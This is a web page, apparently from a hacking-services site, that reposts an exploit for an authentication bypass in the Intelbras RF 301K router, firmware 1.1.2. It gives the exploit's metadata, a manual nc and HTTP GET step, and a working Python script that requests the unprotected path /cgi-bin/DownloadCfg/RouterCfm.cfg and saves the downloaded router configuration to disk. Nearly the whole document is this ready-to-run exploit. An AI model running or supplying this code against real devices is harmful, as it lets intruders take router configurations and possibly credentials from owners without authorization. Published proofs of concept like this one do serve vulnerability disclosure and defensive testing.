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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Intelbras Router RF 301K 1.1.2 - Authentication Bypass
# Date: 27/11/2020
# Exploit Author: Kaio Amaral
# Vendor Homepage: https://www.intelbras.com/pt-br/
# Software Link: http://backend.intelbras.com/sites/default/files/2020-10/RF301K_v1.1.2.zip
# Version: firmware version 1.1.2
# Tested on: kali, android

# POC

# 1. nc host port, ex: nc 10.0.0.1 80
# 2. GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0

# Python3

import socket
from time import sleep

def exploit(host, port=80):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    pay = "GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0\n\n".encode()
    s.connect((host, port))
    s.send(pay)
    sleep(0.2)
    data = s.recv(17576)
    if len(data) > 1000:
        print("[+] Success.")
        return data.decode()
    print("[-] Failed. ")
    exit()

def file(data):
    with open("router.cfg", "w") as file:
        file.write(data[233:])
    print("[+] File Successfully Written.")

file(exploit("10.0.0.1"))